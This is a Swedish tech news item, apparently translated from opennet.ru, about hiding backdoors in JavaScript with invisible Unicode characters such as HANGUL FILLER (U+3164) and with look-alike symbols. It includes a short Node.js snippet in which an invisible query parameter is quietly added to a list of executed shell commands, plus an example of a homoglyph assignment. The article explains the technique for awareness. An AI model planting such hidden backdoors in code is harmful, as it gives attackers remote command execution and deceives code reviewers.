Användning av osynliga Unicode-tecken för att dölja åtgärder i JavaScript-kod.

Följande den Trojan Source attackmetoden, som baseras på användningen av Unicode-tecken som förändrar visningen av text med två riktningar, har ytterligare en teknik för infiltrering av dolda åtgärder publicerats, tillämplig på kod skriven i JavaScript. Den nya metoden baseras på användningen av unicode-tecknet "ㅤ" (kod 0x3164, "HANGUL FILLER"), som tillhör bokstavskategorin men inte har innehåll som är synligt. Unicode-kategorin som detta tecken tillhör har varit tillåten sedan ECMAScript 2015-specifikationen för användning i JavaScript-variabelnamn, vilket möjliggör skapandet av osynliga variabler eller nya variabler som är oidentifierbara från andra variabler i populära kodredigerare som Notepad++ och VS Code.

Ett exempel ges på kod för Node.js-plattformen där en variabel bestående av tecknet "ㅤ" döljer en backdoor som tillåter exekvering av kod angiven av angriparen: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // anges egentligen som "const { timeout,ㅤ \u3164}" const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // efter kommatecknet följer tecknet \u3164 ];

Vid första anblick verkar det som att den externa parametern endast överför värdet timeout, medan arrayen med utförda kommandon innehåller en harmlös fast lista. Men i verkligheten tilldelas värdet av den osynliga variabeln med koden \u3164 efter timeout-variabeln, vilket också inkluderas i arrayen med körbara kommandon. Således, med en sådan konstruktion, kan angriparen aktivera bakdörren och köra sin kod genom att skicka en förfrågan i form av "https://host:8080/network_health?=kommando".

Som ytterligare ett exempel kan tecknet "ǃ" (ALVEOLAR CLICK) användas för att skapa en illusion av ett utropstecken. Till exempel, uttrycket "if(environmentǃ=ENV_PROD){" kommer alltid att vara sant när det körs i Node.js 14, eftersom det faktiskt inte är en jämförelse, utan att tilldela variabeln "environmentǃ" värdet ENV_PROD. Bland de vilseledande unicode-tecknen finns också "／", "−", "＋", "⩵", "❨", "⫽", "꓿" och "∗".

Källa: opennet.ru